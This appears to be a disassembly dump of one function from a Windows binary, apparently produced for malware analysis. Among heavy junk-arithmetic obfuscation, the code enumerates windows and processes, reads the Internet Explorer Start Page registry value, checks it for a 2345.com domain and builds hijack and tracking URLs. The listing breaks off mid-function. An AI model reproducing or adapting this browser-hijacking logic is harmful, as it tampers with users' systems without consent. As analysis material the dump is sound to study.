Function at 0x41a720
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x443e3d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1128
call fcn.004297f0
mov eax, dword [0x457000]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, dword [0x45569c]
mov eax, 0x5397829d
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, dword [0x4556a8]
mov esi, dword [0x455690]
mov edx, eax
shl edx, 4
add eax, edx
sub eax, ecx
mov ecx, eax
mov eax, 0x2aaaaaab
imul esi
imul esi, esi, 0x39
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [ebp - 0x10c8], ecx
mov ecx, dword [0x455694]
mov eax, 0x66666667
imul ecx
mov eax, dword [ebp - 0x10c8]
sar edx, 2
add eax, edx
mov ecx, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x34
shr ecx, 0x1f
add ecx, eax
add ecx, edx
mov edx, dword [0x4556a4]
mov eax, 0x38e38e39
imul edx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0xffffffcf
sub edx, eax
mov dword [ebp - 0x10c8], edx
mov eax, 0x151d07eb
imul edi
mov edi, dword [ebp - 0x10c8]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov edi, dword [0x455688]
sub eax, esi
xor ebx, ebx
add eax, ecx
add edi, eax
mov dword [ebp - 0x10e4], ebx
mov dword [str._r_____r____], ecx
mov dword [ebp - 4], ebx
mov dword [0x455688], edi
mov dword [ebp - 0x10e0], ebx
lea ecx, [ebp - 0x10e0]
push ecx
push 0x4462e0
push 0x17
mov byte [ebp - 4], 1
push ebx
push 0x44a8d0
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [0x4556a8]
mov edi, eax
mov eax, dword [0x455688]
lea edx, [eax + eax*8]
lea eax, [ecx + ecx*2]
shl eax, 4
lea eax, [eax + edx*4]
mov dword [ebp - 0x10c8], eax
mov eax, 0x2aaaaaab
imul dword [0x45569c]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10c8]
sub edx, eax
mov esi, dword [0x4556a0]
mov dword [ebp - 0x10c8], edx
mov edx, dword [0x455690]
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10c8]
sub edx, eax
sub edx, esi
sub edx, 0x39
cmp edi, ebx
mov dword [0x455690], edx
jge 0x41a924
mov eax, dword [0x455698]
lea ecx, [eax + eax*8]
mov edi, dword [0x4556a4]
mov eax, 0x30c30c31
imul dword [0x45569c]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x34
shl ecx, 2
sub ecx, eax
mov eax, dword [str._r_____r____]
add edx, edi
lea eax, [eax + eax*4]
add edx, ecx
lea ecx, [edx + eax*2 - 0x39]
mov eax, dword [ebp - 0x10e0]
cmp eax, ebx
mov dword [0x455694], ecx
mov byte [ebp - 4], bl
je 0x41a91d
mov edx, dword [eax]
push eax
call dword [edx + 8]
xor eax, eax
jmp 0x41c9ac
mov edx, dword [0x455698]
imul esi, esi, 0x2a
mov eax, 0x78787879
imul edx
mov eax, ecx
imul eax, eax, 0x39
sar edx, 3
mov edi, edx
shr edi, 0x1f
add edi, edx
add edi, esi
sub edi, eax
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x455694]
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [ebp - 0x10e0]
lea edx, [ebp - 0x10f8]
push edx
mov dword [0x455698], edi
mov dword [ebp - 0x10f8], ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov ecx, dword [0x455694]
mov ebx, dword [0x45568c]
mov eax, 0x2aaaaaab
imul ecx
mov edi, ecx
mov ecx, dword [0x455690]
imul edi, edi, 0x39
mov eax, ebx
imul ecx, ecx, 0x31
imul eax, eax, 0x61
sar edx, 3
mov esi, edx
shr esi, 0x1f
add edi, edx
add esi, edi
add esi, eax
mov eax, 0x38e38e39
imul ebx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
add esi, ecx
sub esi, eax
mov eax, dword [ebp - 0x10f8]
test eax, eax
mov dword [0x45569c], esi
jne 0x41aa06
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 0
je 0x41a9ff
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x41c9ac
mov ecx, dword [0x455698]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
mov edi, ecx
imul edx, edx, 0x37
imul edi, edi, 0x17
sub edi, eax
mov eax, dword [ebp + 8]
add edi, edx
test eax, eax
mov dword [0x4556a0], edi
je 0x41aab1
mov ecx, dword [0x4556a4]
mov eax, 0x2aaaaaab
imul ecx
mov ecx, dword [0x455688]
imul ecx, ecx, 0x2a
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x5397829d
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
lea edx, [esi + esi*4]
lea ecx, [ecx + edx*2]
mov eax, 0x66666667
imul ebx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [0x4556a4], ecx
mov ecx, 0x569500
call fcn.0040f080
mov ebx, dword [0x45568c]
mov esi, dword [0x45569c]
mov edi, dword [0x4556a0]
mov ecx, dword [0x455698]
mov eax, 0x30c30c31
imul edi, edi, 0x43
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
mov dword [ebp - 0x10c8], eax
mov eax, 0x151d07eb
imul dword [str._r_____r____]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, dword [ebp - 0x10c8]
sub eax, edx
mov edx, dword [0x455690]
imul edx, edx, 0x34
add eax, edx
xor edi, edi
mov dword [0x4556a8], eax
mov dword [ebp - 0x10f0], edi
cmp edi, dword [ebp - 0x10f8]
jge 0x41c963
mov eax, 0x5397829d
imul ebx, ebx, 0x34
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, dword [0x4556a8]
mov edx, eax
shl edx, 4
add edx, eax
mov esi, edx
mov eax, 0x2aaaaaab
imul dword [0x455690]
sar edx, 3
mov eax, edx
sub esi, ecx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x66666667
imul dword [0x455694]
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
add ecx, ebx
mov dword [str._r_____r____], ecx
mov dword [ebp - 0x10dc], 0
mov eax, edi
mov word [ebp - 0x111c], 3
mov dword [ebp - 0x1114], eax
mov edi, dword [ebp - 0x111c]
mov ecx, dword [ebp - 0x10e0]
mov edx, dword [ecx]
lea esi, [ebp - 0x10dc]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x1118]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1110]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x111c]
push ecx
mov edi, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [0x455688]
mov esi, dword [0x45569c]
lea edx, [eax + eax*8]
mov eax, dword [0x4556a8]
lea eax, [eax + eax*2]
shl eax, 4
lea ebx, [eax + edx*4]
mov eax, 0x2aaaaaab
imul esi
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x455690]
mov eax, 0x94f2095
imul ecx
mov ecx, dword [0x4556a0]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
sub ebx, ecx
sub ebx, 0x39
test edi, edi
mov dword [0x455690], ebx
jge 0x41ac67
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 1
je 0x41ac47
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [0x45569c]
mov ecx, dword [0x455698]
mov eax, dword [ebp - 0x10f0]
mov ebx, dword [0x45568c]
inc eax
mov dword [ebp - 0x10f0], eax
mov edi, eax
jmp 0x41ab02
mov edx, dword [0x455694]
imul ebx, ebx, 0x31
mov edi, edx
mov eax, 0x2aaaaaab
imul edi, edi, 0x39
imul edx
sar edx, 3
add edi, edx
mov esi, edx
mov edx, dword [0x45568c]
mov eax, edx
imul eax, eax, 0x61
shr esi, 0x1f
add esi, edi
add esi, eax
mov eax, 0x38e38e39
imul edx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
add esi, ebx
sub esi, eax
mov eax, dword [ebp - 0x10dc]
xor edi, edi
test eax, eax
mov dword [0x45569c], esi
mov dword [ebp - 0x10cc], edi
je 0x41ace5
mov ecx, dword [eax]
lea edx, [ebp - 0x10cc]
push edx
push 0x446338
push eax
call dword [ecx]
mov edi, dword [ebp - 0x10cc]
mov esi, dword [0x45569c]
mov ecx, dword [0x4556a0]
imul ecx, ecx, 0xffffffcf
mov ebx, dword [0x4556a4]
mov eax, 0x38e38e39
imul ebx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x151d07eb
imul esi
sar edx, 3
add ecx, edx
mov eax, edx
mov edx, dword [str._r_____r____]
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x455690]
imul ecx, ecx, 0x39
sub eax, ecx
mov ecx, dword [0x455688]
add eax, edx
add ecx, eax
test edi, edi
mov dword [0x455688], ecx
jne 0x41ad56
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 1
je 0x41ac47
mov edx, dword [eax]
push eax
call dword [edx + 8]
jmp 0x41ac41
mov ecx, dword [0x455698]
lea eax, [ecx + ecx*8]
shl eax, 2
mov dword [ebp - 0x10d8], eax
mov eax, 0x30c30c31
imul esi
mov esi, dword [str._r_____r____]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10d8]
sub edx, eax
mov eax, dword [0x45568c]
imul eax, eax, 0x34
add eax, ebx
lea ebx, [esi + esi*4]
add eax, edx
lea edx, [eax + ebx*2 - 0x39]
mov dword [0x455694], edx
mov dword [ebp - 0x10d8], 0
imul ecx, ecx, 0x17
imul esi, esi, 0x37
mov eax, 0x94f2095
imul dword [0x45568c]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, esi
lea edx, [ebp - 0x10d8]
push edx
mov dword [0x4556a0], ecx
mov ecx, dword [edi]
push edi
mov byte [ebp - 4], 5
call dword [ecx + 0x48]
test eax, eax
jl 0x41bca4
mov esi, dword [0x4556a0]
mov edi, dword [0x4556a8]
mov ecx, dword [0x45568c]
mov ebx, esi
imul ebx, ebx, 0x34
mov edx, edi
shl edx, 4
add edx, edi
sub ebx, edx
mov eax, 0x30c30c31
imul ecx
sar edx, 3
add ebx, edx
mov ecx, edx
mov eax, 0x66666667
imul dword [0x455690]
sar edx, 2
shr ecx, 0x1f
add ecx, ebx
mov ebx, dword [ebp - 0x10d8]
mov eax, edx
shr eax, 0x1f
add ecx, edx
mov edx, dword [0x455694]
add eax, ecx
sub eax, edx
add eax, 0x37
test ebx, ebx
mov dword [0x45568c], eax
mov dword [ebp - 0x10d4], 0
je 0x41ae78
mov edx, dword [ebx]
lea eax, [ebp - 0x10d4]
push eax
push 0x446348
push ebx
call dword [edx]
mov ebx, dword [ebp - 0x10d8]
mov edi, dword [0x4556a8]
mov esi, dword [0x4556a0]
imul esi, esi, 0x2a
mov ecx, dword [0x455698]
mov eax, 0x78787879
imul ecx
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, edi
imul edx, edx, 0x39
add ecx, esi
sub ecx, edx
mov eax, 0x4ec4ec4f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x66666667
imul dword [0x455694]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 6
mov dword [0x455698], ecx
jne 0x41af24
test ebx, ebx
mov byte [ebp - 4], 4
je 0x41aeed
mov ecx, dword [ebx]
push ebx
call dword [ecx + 8]
mov ecx, dword [0x455698]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41af07
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x455698]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 1
jne 0x41ac3b
mov esi, dword [0x45569c]
jmp 0x41ac4d
push 0
call fcn.004297aa
sub eax, dword [0x569758]
add esp, 4
cmp eax, 0x708
jge 0x41b1a8
mov ecx, dword [0x45569c]
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, dword [0x4556a8]
mov edx, eax
shl edx, 4
add edx, eax
mov esi, edx
sub esi, ecx
mov ecx, dword [0x455690]
mov eax, 0x2aaaaaab
imul ecx
mov ecx, dword [0x455694]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x66666667
imul ecx
mov eax, dword [ebp - 0x10cc]
sar edx, 2
mov ecx, edx
add esi, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x34
shr ecx, 0x1f
add ecx, esi
add ecx, edx
lea edx, [ebp - 0x1100]
push edx
mov dword [str._r_____r____], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x94]
mov ecx, dword [ebp - 0x1100]
lea eax, [ebp - 0x10c8]
push eax
push ecx
mov dword [ebp - 0x10c8], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov esi, dword [0x4556a0]
mov eax, dword [0x4556a8]
mov ecx, dword [0x45568c]
mov edi, esi
imul edi, edi, 0x34
mov edx, eax
shl edx, 4
add edx, eax
sub edi, edx
mov eax, 0x30c30c31
imul ecx
sar edx, 3
mov ebx, edx
shr ebx, 0x1f
add edi, edx
add ebx, edi
mov edi, dword [0x455690]
mov eax, 0x66666667
imul edi
sar edx, 2
add ebx, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, ebx
sub ecx, dword [0x455694]
mov ebx, dword [ebp - 0x10c8]
add ecx, 0x37
test ebx, ebx
mov dword [0x45568c], ecx
je 0x41bc2b
mov eax, dword [0x455698]
imul ecx, ecx, 0x34
mov edx, dword [0x45569c]
lea eax, [eax + eax*8]
shl eax, 2
mov esi, eax
mov eax, 0x30c30c31
imul edx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add ecx, dword [0x4556a4]
mov eax, dword [str._r_____r____]
push ebx
lea edx, [eax + eax*4]
add ecx, esi
push 0
lea eax, [ecx + edx*2 - 0x39]
push 0x1f0fff
mov dword [0x455694], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x41b1a8
mov ecx, dword [0x455694]
mov edi, ecx
mov eax, 0x2aaaaaab
imul edi, edi, 0x39
imul ecx
mov ecx, dword [0x45568c]
mov eax, dword [0x455690]
sar edx, 3
imul eax, eax, 0x31
add edi, edx
mov ebx, edx
mov edx, ecx
imul edx, edx, 0x61
shr ebx, 0x1f
add ebx, edi
add ebx, edx
add ebx, eax
mov eax, 0x38e38e39
imul ecx
mov al, byte [0x446d1e]
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov dx, word [0x446d1c]
sub ebx, ecx
mov byte [ebp - 0x2c2], al
mov word [ebp - 0x2c4], dx
xor eax, eax
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
push 0x100
lea ecx, [ebp - 0x2c4]
push ecx
push 0
push esi
mov dword [0x45569c], ebx
stosb byte es:[edi], al
call sub.PSAPI.DLL_GetModuleFileNameExA
mov ecx, dword [0x4556a4]
mov esi, dword [0x455688]
mov eax, 0x2aaaaaab
imul esi, esi, 0x2a
imul ecx
mov ecx, dword [0x45569c]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
lea ecx, [ecx + ecx*4]
lea esi, [esi + ecx*2]
mov ecx, dword [0x45568c]
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [ebp - 0x2c4]
sub esi, eax
push str.startup.exe
push ecx
mov dword [0x4556a4], esi
call fcn.00429320
add esp, 8
test eax, eax
jne 0x41bc90
mov ecx, dword [0x4556a4]
mov esi, dword [0x45569c]
mov eax, 0x2aaaaaab
imul ecx
mov ecx, dword [0x455688]
imul ecx, ecx, 0x2a
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x5397829d
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
lea edx, [esi + esi*4]
lea ecx, [ecx + edx*2]
mov eax, 0x66666667
imul dword [0x45568c]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp + 8]
mov dword [0x4556a4], ecx
mov ecx, dword [ebp - 0x10e4]
inc ecx
test eax, eax
mov dword [ebp - 0x10e4], ecx
je 0x41c887
push ecx
lea edx, [ebp - 0x10cc]
mov ecx, esp
mov dword [ebp - 0x10d0], esp
push edx
call fcn.00406eb0
mov ecx, 0x569500
call fcn.004064a0
test al, al
mov esi, dword [0x45569c]
jne 0x41c887
mov ecx, dword [0x4556a8]
mov edi, dword [0x455690]
mov eax, 0x5397829d
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
shl edx, 4
add edx, ecx
mov ebx, edx
sub ebx, eax
mov eax, 0x2aaaaaab
imul edi
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455694]
sub ebx, eax
mov eax, 0x66666667
imul edx
sar edx, 2
add ebx, edx
mov eax, edx
mov edx, dword [0x45568c]
shr eax, 0x1f
imul edx, edx, 0x34
add eax, ebx
add eax, edx
mov dword [str._r_____r____], eax
mov eax, dword [0x455688]
lea eax, [eax + eax*8]
lea ecx, [ecx + ecx*2]
shl ecx, 4
lea ecx, [ecx + eax*4]
mov eax, 0x2aaaaaab
imul esi
sar edx, 3
mov ebx, dword [0x4556a0]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x94f2095
imul edi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10cc]
sub ecx, ebx
sub ecx, 0x39
lea edx, [ebp - 0x1104]
push edx
mov dword [0x455690], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x78]
mov ecx, dword [0x455694]
mov eax, 0x2aaaaaab
imul ecx
mov esi, ecx
mov ecx, dword [0x45568c]
imul esi, esi, 0x39
sar edx, 3
mov edi, edx
add esi, edx
mov edx, dword [0x455690]
mov eax, ecx
imul edx, edx, 0x31
imul eax, eax, 0x61
shr edi, 0x1f
add edi, esi
add edi, eax
add edi, edx
mov eax, 0x38e38e39
imul ecx
sar edx, 3
mov ecx, dword [ebp - 0x1104]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push ecx
mov dword [0x45569c], edi
call fcn.0041ef90
mov ecx, dword [0x45569c]
mov dword [ebp - 0x10d0], eax
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, dword [0x4556a8]
mov edx, eax
shl edx, 4
add edx, eax
mov esi, edx
sub esi, ecx
mov ecx, dword [0x455690]
mov eax, 0x2aaaaaab
imul ecx
mov ecx, dword [0x455694]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x66666667
imul ecx
mov eax, dword [ebp - 0x10d4]
sar edx, 2
add esi, edx
mov ecx, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x34
shr ecx, 0x1f
add ecx, esi
add ecx, edx
lea edx, [ebp - 0x10fc]
push edx
mov dword [str._r_____r____], ecx
mov ecx, dword [eax]
push eax
xor esi, esi
call dword [ecx + 0x90]
mov edi, dword [0x4556a0]
mov ecx, eax
imul edi, edi, 0x34
mov eax, dword [0x4556a8]
mov edx, eax
shl edx, 4
add edx, eax
sub edi, edx
mov edx, dword [0x45568c]
mov eax, 0x30c30c31
imul edx
sar edx, 3
add edi, edx
mov ebx, edx
mov edx, dword [0x455690]
mov eax, 0x66666667
imul edx
shr ebx, 0x1f
sar edx, 2
add ebx, edi
mov edi, dword [0x455694]
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
sub eax, edi
add eax, 0x37
test ecx, ecx
mov dword [0x45568c], eax
jne 0x41b45b
mov ecx, dword [ebp - 0x10fc]
push ecx
call fcn.0041ef90
mov esi, eax
push 0
call fcn.004297aa
sub eax, dword [0x5694b4]
add esp, 4
cmp eax, 5
jle 0x41c1d0
test esi, esi
je 0x41b492
mov eax, esi
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41b480
sub eax, edx
cmp eax, 5
ja 0x41c1d0
mov eax, dword [0x455698]
mov ecx, dword [0x45569c]
lea edx, [eax + eax*8]
shl edx, 2
mov esi, edx
mov eax, 0x30c30c31
imul ecx
mov ecx, dword [0x45568c]
sar edx, 3
imul ecx, ecx, 0x34
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
sub esi, eax
mov eax, dword [str._r_____r____]
add ecx, edx
lea edx, [eax + eax*4]
add ecx, esi
lea eax, [ecx + edx*2 - 0x39]
mov dword [0x455694], eax
mov ecx, str.http:__www.baiduo.org_
lea edx, [ebp - 0x1c4]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41b4e7
lea ecx, [ebp - 0x1c4]
push ecx
call fcn.0041ee30
mov ecx, dword [0x455698]
mov dword [ebp - 0x110c], eax
mov eax, 0x30c30c31
imul ecx
mov ecx, dword [0x4556a0]
imul ecx, ecx, 0x43
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x151d07eb
imul ecx
mov ecx, dword [0x455690]
sar edx, 3
imul ecx, ecx, 0x34
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str.sfdafsdafdsfdsfa]
sub ebx, eax
mov eax, dword [0x446d00]
add ebx, ecx
mov ecx, dword [0x446d04]
mov dword [ebp - 0x140], eax
mov al, byte [0x446d0c]
mov dword [ebp - 0x144], edx
mov edx, dword [0x446d08]
mov dword [ebp - 0x13c], ecx
mov byte [ebp - 0x134], al
mov dword [ebp - 0x138], edx
xor eax, eax
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x45569c]
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, ebx
shl edx, 4
add edx, ebx
movsw word es:[edi], word [esi]
mov esi, edx
mov eax, 0x2aaaaaab
imul dword [0x455690]
sar edx, 3
mov eax, edx
sub esi, ecx
mov ecx, dword [0x455694]
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x66666667
imul ecx
sar edx, 2
add esi, edx
mov ecx, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x34
shr ecx, 0x1f
add ecx, esi
add ecx, edx
mov dword [0x4556a8], ebx
mov dword [ebp - 0x10ec], 0
mov dword [str._r_____r____], ecx
lea eax, [ebp - 0x10ec]
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0x40]
push ecx
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41b8b3
mov ecx, dword [0x455698]
mov eax, 0x78787879
imul ecx
mov ecx, dword [0x4556a0]
sar edx, 3
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, ecx
imul ecx, ecx, 0xffffffcf
imul edx, edx, 0x2a
add edi, edx
mov edx, dword [0x4556a8]
mov eax, edx
imul eax, eax, 0x39
sub edi, eax
mov esi, dword [0x455694]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x66666667
imul esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
sub edi, eax
mov eax, 0x38e38e39
imul edx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45569c]
sub ecx, eax
mov eax, 0x151d07eb
imul edx
mov ebx, dword [str._r_____r____]
sar edx, 3
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x455690]
mov edx, ecx
imul ecx, ecx, 0x31
imul edx, edx, 0x39
sub eax, edx
add eax, ebx
mov dword [0x455698], edi
add dword [0x455688], eax
mov edi, esi
mov eax, 0x2aaaaaab
imul edi, edi, 0x39
imul esi
sar edx, 3
add edi, edx
mov esi, edx
mov edx, dword [0x45568c]
mov eax, edx
imul eax, eax, 0x61
shr esi, 0x1f
add esi, edi
add esi, eax
mov eax, 0x38e38e39
imul edx
add esi, ecx
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov dword [ebp - 0x1108], 0x104
mov dword [0x45569c], esi
lea edx, [ebp - 0x1108]
push edx
mov edx, dword [ebp - 0x10ec]
lea eax, [ebp - 0x144]
push eax
lea ecx, [ebp - 0x10e8]
push ecx
push 0
push str.Start_Page
mov edi, 1
push edx
mov dword [ebp - 0x10e8], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41b8b3
mov esi, dword [0x4556a0]
mov eax, dword [0x4556a8]
imul esi, esi, 0x34
mov ecx, eax
shl ecx, 4
add ecx, eax
sub esi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x30c30c31
imul ecx
sar edx, 3
mov ebx, edx
add esi, edx
shr ebx, 0x1f
add ebx, esi
mov esi, dword [0x455690]
mov eax, 0x66666667
imul esi
mov eax, dword [0x5697dc]
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
sub ecx, dword [0x455694]
add ecx, 0x37
test eax, eax
mov dword [0x45568c], ecx
jne 0x41b8bf
lea edx, [ebp - 0x144]
push str..2345.com
push edx
call fcn.00429320
add esp, 8
test eax, eax
jne 0x41b815
lea eax, [ebp - 0x144]
push str..2345.COM
push eax
call fcn.00429320
add esp, 8
test eax, eax
je 0x41b8b3
mov ecx, dword [0x45569c]
mov eax, 0x5397829d
imul ecx
mov eax, dword [0x4556a8]
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, eax
shl edx, 4
add edx, eax
mov esi, edx
sub esi, ecx
mov ecx, dword [0x455690]
mov eax, 0x2aaaaaab
imul ecx
mov ecx, dword [0x455694]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x66666667
imul ecx
sar edx, 2
mov ecx, edx
add esi, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x34
shr ecx, 0x1f
lea eax, [ebp - 0x144]
push eax
add ecx, esi
add ecx, edx
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_HomePage_s
push 0x5582b0
mov dword [str._r_____r____], ecx
mov dword [0x5697dc], edi
call fcn.004290b1
push 0x132b600
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x45568c]
mov esi, dword [0x455690]
mov edx, dword [0x455694]
imul esi, esi, 0x31
mov edi, edx
mov eax, 0x2aaaaaab
imul edi, edi, 0x39
imul edx
sar edx, 3
mov ebx, edx
add edi, edx
mov edx, ecx
imul edx, edx, 0x61
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov eax, 0x38e38e39
imul ecx
mov ecx, dword [ebp - 0x10ec]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
add ebx, esi
sub ebx, eax
push ecx
mov dword [0x45569c], ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [0x4556a4]
mov ecx, dword [0x4556a0]
mov esi, dword [0x45569c]
imul ecx, ecx, 0xffffffcf
mov eax, 0x38e38e39
imul edi
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x151d07eb
imul esi
